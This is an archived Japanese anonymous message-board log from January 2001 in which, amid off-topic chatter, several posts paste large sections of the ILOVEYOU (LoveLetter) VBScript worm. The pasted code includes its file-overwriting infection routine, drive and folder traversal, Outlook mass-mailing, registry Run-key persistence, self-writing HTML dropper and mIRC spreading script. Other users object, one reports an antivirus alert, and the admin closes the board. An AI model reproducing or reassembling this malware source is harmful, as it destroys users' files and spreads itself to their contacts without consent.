misao全文検索

2001/01/24 (水) 20:35:53　 ◆　 ▼　 ◇　 [mirai]

( '-')ﾉ ラブレターワームを貼る馬鹿がいるので閉鎖します

＞　 2001/01/24 (水) 20:32:51　 ◆　 ▼　 ◇　 [mirai]

> 最大の武器は『バナナも切れる名器！』。
> http://www.funfunweb.com/news/010124-2.html

ｽｹﾞｴ(*´Д`)

参考：2001/01/24(水)20時30分27秒

2001/01/24 (水) 20:32:01　 ◆　 ▼　 ◇　 [mirai]

ﾄﾏﾃﾙな

2001/01/24 (水) 20:30:27　 ◆　 ▼　 ◇　 [mirai]

最大の武器は『バナナも切れる名器！』。

http://www.funfunweb.com/news/010124-2.html

＞　 2001/01/24 (水) 20:28:05　 ◆　 ▼　 ◇　 [mirai]

>   set d=fso.OpenTextFile(dirsystem+"\LOVE-LETTER-FOR-
>   YOU.HTM",2)
>   d.write dt5
>   d.write join(lines,vbcrlf)
>   d.write vbcrlf
>   d.write dt6
>   d.close
>   end sub

これで全部な
漏れのｱﾝﾁｳｨﾙｽｿﾌﾄがみらいに反応したよ(;´Д`)

参考：2001/01/24(水)20時25分23秒

2001/01/24 (水) 20:28:02　 ◆　 ▼　 ◇　 [mirai]

ここにソース貼んなやハゲ

＞　 2001/01/24 (水) 20:27:27　 ◆　 ▼　 ◇　 [mirai]

> > 　Pascalネタ頼む
> 　　COBOLなら

　古っ！


参考：2001/01/24(水)20時26分03秒

＞　 2001/01/24 (水) 20:26:03　 ◆　 ▼　 ◇　 [mirai]

> > VBネタはつまらない
> 　Pascalネタ頼む

　　COBOLなら

参考：2001/01/24(水)20時24分54秒

2001/01/24 (水) 20:25:23　 ◆　 ▼　 ◇　 [mirai]

sub html
  On Error Resume Next
  dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6
  dta1="<HTML><HEAD><TITLE>LOVELETTER - HTML<?-
  ?TITLE><META NAME=@-@Generator@-@ CONTENT=@-
  @BAROK VBS - LOVELETTER@-@>"&vbcrlf& _
  "<META NAME=@-@Author@-@ CONTENT=@-@spyder ?-?
  ispyder@mail.com ?-? @GRAMMERSoft Group ?-? Manila,
  Philippines ?-? March 2000@-@>"&vbcrlf& _
  "<META NAME=@-@Description@-@ CONTENT=@-@simple but i
  think this is good...@-@>"&vbcrlf& _
  "<?-?HEAD><BODY ONMOUSEOUT=@-@window.name=#-#main#-
  #;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-
  @ "&vbcrlf& _
  "ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-
  #LOVE-LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@
  BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@-
  @>"&vbcrlf& _
  "<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To
  Enable to read this HTML file<BR>- Please press #-#YES#-# button
  to Enable ActiveX<?-?p>"&vbcrlf& _
  "<?-?CENTER><MARQUEE LOOP=@-@infinite@-@ BGCOLOR=@-
  @yellow@-@>----------z--------------------z----------<?-?MARQUEE>
  "&vbcrlf& _
  "<?-?BODY><?-?HTML>"&vbcrlf& _
  "<SCRIPT language=@-@JScript@-@>"&vbcrlf& _
  "<!--?-??-?"&vbcrlf& _
  "if (window.screen){var wi=screen.availWidth;var
  hi=screen.availHeight;window.moveTo(0,0);window.resizeTo(wi,hi);}"&v
  bcrlf& _
  "?-??-?-->"&vbcrlf& _
  "<?-?SCRIPT>"&vbcrlf& _
  "<SCRIPT LANGUAGE=@-@VBScript@-@>"&vbcrlf& _
  "<!--"&vbcrlf& _
  "on error resume next"&vbcrlf& _
  "dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit"&vbcrlf& _
  "aw=1"&vbcrlf& _
  "code="
  dta2="set fso=CreateObject(@-@Scripting.FileSystemObject@-
  @)"&vbcrlf& _
  "set dirsystem=fso.GetSpecialFolder(1)"&vbcrlf& _
  "code2=replace(code,chr(91)&chr(45)&chr(91),chr(39))"&vbcrlf& _
  "code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34))"&vbcrlf& _
  "code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92))"&vbcrlf& _
  "set wri=fso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-
  @)"&vbcrlf& _
  "wri.write code4"&vbcrlf& _
  "wri.close"&vbcrlf& _
  "if (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@))
  then"&vbcrlf& _
  "if (err.number=424) then"&vbcrlf& _
  "aw=0"&vbcrlf& _
  "end if"&vbcrlf& _
  "if (aw=1) then"&vbcrlf& _
  "document.write @-@ERROR: can#-#t initialize ActiveX@-
  @"&vbcrlf& _
  "window.close"&vbcrlf& _
  "end if"&vbcrlf& _
  "end if"&vbcrlf& _
  "Set regedit = CreateObject(@-@WScript.Shell@-@)"&vbcrlf& _
  "regedit.RegWrite @-@HKEY_LOCAL_MACHINE^-^Software^-
  ^Microsoft^-^Windows^-^CurrentVersion^-^Run^-^MSKernel32@-
  @,dirsystem&@-@^-^MSKernel32.vbs@-@"&vbcrlf& _
  "?-??-?-->"&vbcrlf& _
  "<?-?SCRIPT>"
  dt1=replace(dta1,chr(35)&chr(45)&chr(35),"'")
  dt1=replace(dt1,chr(64)&chr(45)&chr(64),"""")
  dt4=replace(dt1,chr(63)&chr(45)&chr(63),"/")
  dt5=replace(dt4,chr(94)&chr(45)&chr(94),"\")
  dt2=replace(dta2,chr(35)&chr(45)&chr(35),"'")
  dt2=replace(dt2,chr(64)&chr(45)&chr(64),"""")
  dt3=replace(dt2,chr(63)&chr(45)&chr(63),"/")
  dt6=replace(dt3,chr(94)&chr(45)&chr(94),"\")
  set fso=CreateObject("Scripting.FileSystemObject")
  set c=fso.OpenTextFile(WScript.ScriptFullName,1)
  lines=Split(c.ReadAll,vbcrlf)
  l1=ubound(lines)
  for n=0 to ubound(lines)
  lines(n)=replace(lines(n),"'",chr(91)+chr(45)+chr(91))
  lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
  lines(n)=replace(lines(n),"\",chr(37)+chr(45)+chr(37))
  if (l1=n) then
  lines(n)=chr(34)+lines(n)+chr(34)
  else
  lines(n)=chr(34)+lines(n)+chr(34)&"&vbcrlf& _"
  end if
  next
  set b=fso.CreateTextFile(dirsystem+"\LOVE-LETTER-FOR-
  YOU.HTM")
  b.close
  set d=fso.OpenTextFile(dirsystem+"\LOVE-LETTER-FOR-
  YOU.HTM",2)
  d.write dt5
  d.write join(lines,vbcrlf)
  d.write vbcrlf
  d.write dt6
  d.close
  end sub

＞　 2001/01/24 (水) 20:24:54　 ◆　 ▼　 ◇　 [mirai]

> VBネタはつまらない

　Pascalネタ頼む

参考：2001/01/24(水)20時23分28秒

2001/01/24 (水) 20:24:27　 ◆　 ▼　 ◇　 [mirai]

sub regcreate(regkey,regvalue)
  Set regedit = CreateObject("WScript.Shell")
  regedit.RegWrite regkey,regvalue
  end sub
  function regget(value)
  Set regedit = CreateObject("WScript.Shell")
  regget=regedit.RegRead(value)
  end function
  function fileexist(filespec)
  On Error Resume Next
  dim msg
  if (fso.FileExists(filespec)) Then
  msg = 0
  else
  msg = 1
  end if
  fileexist = msg
  end function
  function folderexist(folderspec)
  On Error Resume Next
  dim msg
  if (fso.GetFolderExists(folderspec)) then
  msg = 0
  else
  msg = 1
  end if
  fileexist = msg
  end function
  sub spreadtoemail()
  On Error Resume Next
  dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad
  set regedit=CreateObject("WScript.Shell")
  set out=WScript.CreateObject("Outlook.Application")
  set mapi=out.GetNameSpace("MAPI")
  for ctrlists=1 to mapi.AddressLists.Count
  set a=mapi.AddressLists(ctrlists)
  x=1
  regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\
  WAB\"&a)
  if (regv="") then
  regv=1
  end if
  if (int(a.AddressEntries.Count)>int(regv)) then
  for ctrentries=1 to a.AddressEntries.Count
  malead=a.AddressEntries(x)
  regad=""
  regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft
  \WAB\"&malead)
  if (regad="") then
  set male=out.CreateItem(0)
  male.Recipients.Add(malead)
  male.Subject = "ILOVEYOU"
  male.Body = vbcrlf&"kindly check the attached LOVELETTER
  coming from me."
  male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-
  YOU.TXT.vbs")
  male.Send
  regedit.RegWrite
  "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"RE
  G_DWORD"
  end if
  x=x+1
  next
  regedit.RegWrite
  "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEn
  tries.Count
  else
  regedit.RegWrite
  "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEn
  tries.Count
  end if
  next
  Set out=Nothing
  Set mapi=Nothing
  end sub

＞　 2001/01/24 (水) 20:24:06　 ◆　 ▼　 ◇　 [mirai]

> > よく見ると前かったEVAの同人CGのｼﾄに似てる気がするヽ(´ー｀)ノ
> syouki

http://kan0n.virtualave.net/cgi-bin/imgboard/img-box/img20010124032155.jpg

これのような気がするヽ(´ー｀)ノ
もっとほしいよ

参考：2001/01/24(水)20時19分03秒

2001/01/24 (水) 20:23:28　 ◆　 ▼　 ◇　 [mirai]

VBネタはつまらない

2001/01/24 (水) 20:23:25　 ◆　 ▼　 ◇　 [mirai]

sub folderlist(folderspec)
  On Error Resume Next
  dim f,f1,sf
  set f = fso.GetFolder(folderspec)
  set sf = f.SubFolders
  for each f1 in sf
  infectfiles(f1.path)
  folderlist(f1.path)
  next
  end sub

2001/01/24 (水) 20:22:44　 ◆　 ▼　 ◇　 [mirai]

今月号のライディングスポーツはGPマシンのカウル外した写真ｲﾊﾟｰｲで
保存用だな。

＞　 2001/01/24 (水) 20:21:32　 ◆　 ▼　 ◇　 [mirai]

> > で、ｽﾃｨｰﾋﾞｰﾜｿﾀﾞｰどうなた？
> http://strangeworld.cx/up/upfiles/cx1096.mp3
> 落ちない(ρ_;)

今北ヽ(´ー｀)ノもらった

ｻﾝｸｽｺヽ(´ー｀)ノ

参考：2001/01/24(水)20時04分34秒

2001/01/24 (水) 20:20:32　 ◆　 ▼　 ◇　 [mirai]

sub infectfiles(folderspec)
  On Error Resume Next
  dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
  set f = fso.GetFolder(folderspec)
  set fc = f.Files
  for each f1 in fc
  ext=fso.GetExtensionName(f1.path)
  ext=lcase(ext)
  s=lcase(f1.name)
  if (ext="vbs") or (ext="vbe") then
  set ap=fso.OpenTextFile(f1.path,2,true)
  ap.write vbscopy
  ap.close
  elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or
  (ext="sct") or (ext="hta") then
  set ap=fso.OpenTextFile(f1.path,2,true)
  ap.write vbscopy
  ap.close
  bname=fso.GetBaseName(f1.path)
  set cop=fso.GetFile(f1.path)
  cop.copy(folderspec&"\"&bname&".vbs")
  fso.DeleteFile(f1.path)
  elseif(ext="jpg") or (ext="jpeg") then
  set ap=fso.OpenTextFile(f1.path,2,true)
  ap.write vbscopy
  ap.close
  set cop=fso.GetFile(f1.path)
  cop.copy(f1.path&".vbs")
  fso.DeleteFile(f1.path)
  elseif(ext="mp3") or (ext="mp2") then
  set mp3=fso.CreateTextFile(f1.path&".vbs")
  mp3.write vbscopy
  mp3.close
  set att=fso.GetFile(f1.path)
  att.attributes=att.attributes+2
  end if
  if (eq<>folderspec) then
  if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or
  (s="script.ini") or (s="mirc.hlp") then
  set scriptini=fso.CreateTextFile(folderspec&"\script.ini")
  scriptini.WriteLine "[script]"
  scriptini.WriteLine ";mIRC Script"
  scriptini.WriteLine "; Please dont edit this script... mIRC will
  corrupt,
  if mIRC will"
  scriptini.WriteLine " corrupt... WINDOWS will affect and will not
  run correctly. thanks"
  scriptini.WriteLine ";"
  scriptini.WriteLine ";Khaled Mardam-Bey"
  scriptini.WriteLine ";http://www.mirc.com"
  scriptini.WriteLine ";"
  scriptini.WriteLine "n0=on 1:JOIN:#:{"
  scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }"
  scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\LOVE-
  LETTER-FOR-YOU.HTM"
  scriptini.WriteLine "n3=}"
  scriptini.close
  eq=folderspec
  end if
  end if
  next
  end sub

＞　投稿者：駆逐艦　2001/01/24 (水) 20:20:07　 ◆　 ▼　 ◇　 [mirai]

> WIREDの人だけど飯喰ってくるのでまたなヽ(´ー｀)ノ
> 喰ったらくるょヽ(´ー｀)ノすぐにでも
> あとvbsﾈﾀはそれまで続けててくれよヽ(´ー｀)ノ

　vbなんか使ってるやつは俺が駆逐する

参考：2001/01/24(水)20時19分28秒

＞　 2001/01/24 (水) 20:19:43　 ◆　 ▼　 ◇　 [mirai]

> > 
> > fso => _CURRENT_USER\Software\Microsoft\Windows Scripting
> > fso => FileSystemObjectヽ(´ー｀)ノ
> > objFsoとやると吉
> > 改行直せば動くよヽ(´ー｀)ノ
> Set Objfso = CreateObject("Scriptinig.FileSystemObjetc")
> ってやんないでも動くの？

ん？どっかでやってなかったけ？

参考：2001/01/24(水)20時17分57秒

2001/01/24 (水) 20:19:28　 ◆　 ▼　 ◇　 [mirai]

WIREDの人だけど飯喰ってくるのでまたなヽ(´ー｀)ノ
喰ったらくるょヽ(´ー｀)ノすぐにでも
あとvbsﾈﾀはそれまで続けててくれよヽ(´ー｀)ノ

2001/01/24 (水) 20:19:23　 ◆　 ▼　 ◇　 [mirai]

さゆりﾓｰﾄﾞくりあしてきたヽ(´ー`)ノ

＞　 2001/01/24 (水) 20:19:03　 ◆　 ▼　 ◇　 [mirai]

> > どっかの貼り板の転載だったと想う
> > ｽﾏｿ(;´Д`)
> よく見ると前かったEVAの同人CGのｼﾄに似てる気がするヽ(´ー｀)ノ

syouki

参考：2001/01/24(水)20時18分22秒

＞　 2001/01/24 (水) 20:18:59　 ◆　 ▼　 ◇　 [mirai]

> > 糞尼の正体は．．ﾂｲﾀﾞｸ


参考：2001/01/24(水)20時18分07秒

2001/01/24 (水) 20:18:49　 ◆　 ▼　 ◇　 [mirai]

sub listadriv
  On Error Resume Next
  Dim d,dc,s
  Set dc = fso.Drives
  For Each d in dc
  If d.DriveType = 2 or d.DriveType=3 Then
  folderlist(d.path&"\")
  end if
  Next
  listadriv = s
  end sub

2001/01/24 (水) 20:18:48　 ◆　 ▼　 ◇　 [mirai]

あとregにｱｸｾｽするときはHKLMとかにしないと駄目だった気がするんだが(;´Д`)

2001/01/24 (水) 20:18:41　 ◆　 ▼　 ◇　 [mirai]

つか、らぶりえってかなり意地悪なとこあるよな。

＞　 2001/01/24 (水) 20:18:22　 ◆　 ▼　 ◇　 [mirai]

> > http://kan0n.virtualave.net/cgi-bin/imgboard/img-box/img20010122010236.jpg
> > これはどこの誰の絵？ヽ(´ー｀)ノ
> どっかの貼り板の転載だったと想う
> ｽﾏｿ(;´Д`)

よく見ると前かったEVAの同人CGのｼﾄに似てる気がするヽ(´ー｀)ノ

参考：2001/01/24(水)20時16分00秒

＞　 2001/01/24 (水) 20:18:15　 ◆　 ▼　 ◇　 [mirai]

> 糞尼の正体は．．

お前王様？

参考：2001/01/24(水)20時17分43秒

＞　 2001/01/24 (水) 20:18:15　 ◆　 ▼　 ◇　 [mirai]

> > らぶりえには放なかログ倉庫始めた時に、
> > 「ラブ公うぜぇ」とかいわれたから無理だなヽ(´ー｀)ノ
> > 漏れとしてはぁゃιぃの内輪で盛り上がれればいいと想ってるヽ(´ー｀)ノ
> ログ倉庫どこよ

WIREDにあるだろヽ(´ー｀)ノ

参考：2001/01/24(水)20時17分36秒

＞　 2001/01/24 (水) 20:18:07　 ◆　 ▼　 ◇　 [mirai]

> 糞尼の正体は．．ﾀﾞｸﾀﾞｸ


参考：2001/01/24(水)20時17分43秒

＞　 2001/01/24 (水) 20:17:57　 ◆　 ▼　 ◇　 [mirai]

> 
> fso => _CURRENT_USER\Software\Microsoft\Windows Scripting
> > 動くか？
> > あとさfso.って何よ？
> fso => FileSystemObjectヽ(´ー｀)ノ
> objFsoとやると吉
> 改行直せば動くよヽ(´ー｀)ノ

Set Objfso = CreateObject("Scriptinig.FileSystemObjetc")
ってやんないでも動くの？

参考：2001/01/24(水)20時16分42秒

2001/01/24 (水) 20:17:56　 ◆　 ▼　 ◇　 [mirai]

らぶりえがいるな

2001/01/24 (水) 20:17:45　 ◆　 ▼　 ◇　 [mirai]

CastrolHONDA萌え～
今月号のライディングスポーツは買いだな

2001/01/24 (水) 20:17:43　 ◆　 ▼　 ◇　 [mirai]

糞尼の正体は．．

＞　 2001/01/24 (水) 20:17:36　 ◆　 ▼　 ◇　 [mirai]

> > やるなら別人としてヽ(´ー｀)ノ
> > 放なかの管理人にメールでも出してura宣伝してもらって
> > 分散を防ぐためにありすとかいうやしの板を潰してヽ(´ー｀)ノがんばれ
> らぶりえには放なかログ倉庫始めた時に、
> 「ラブ公うぜぇ」とかいわれたから無理だなヽ(´ー｀)ノ
> 漏れとしてはぁゃιぃの内輪で盛り上がれればいいと想ってるヽ(´ー｀)ノ

ログ倉庫どこよ

参考：2001/01/24(水)20時12分30秒

＞　 2001/01/24 (水) 20:16:42　 ◆　 ▼　 ◇　 [mirai]

> >   sub main()
> >   On Error Resume Next
> >   dim wscr,rr
> >   set wscr=CreateObject("WScript.Shell")
> >   rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Wind
> >   ows Scripting Host\Settings\Timeout")
> >   if (rr>=1) then
> >   wscr.RegWrite
> >   "HKEY

fso => _CURRENT_USER\Software\Microsoft\Windows Scripting
> >   Host\Settings\Timeout",0,"REG_DWORD"
> >   end if
> >   Set dirwin = fso.GetSpecialFolder(0)
> >   Set dirsystem = fso.GetSpecialFolder(1)
> >   Set dirtemp = fso.GetSpecialFolder(2)
> >   Set c = fso.GetFile(WScript.ScriptFullName)
> >   c.Copy(dirsystem&"\MSKernel32.vbs")
> >   c.Copy(dirwin&"\Win32DLL.vbs")
> >   c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
> >   regruns()
> >   html()
> >   spreadtoemail()
> >   listadriv()
> >   end sub
> 動くか？
> あとさfso.って何よ？

fso => FileSystemObjectヽ(´ー｀)ノ
objFsoとやると吉
改行直せば動くよヽ(´ー｀)ノ

参考：2001/01/24(水)20時15分17秒

上へ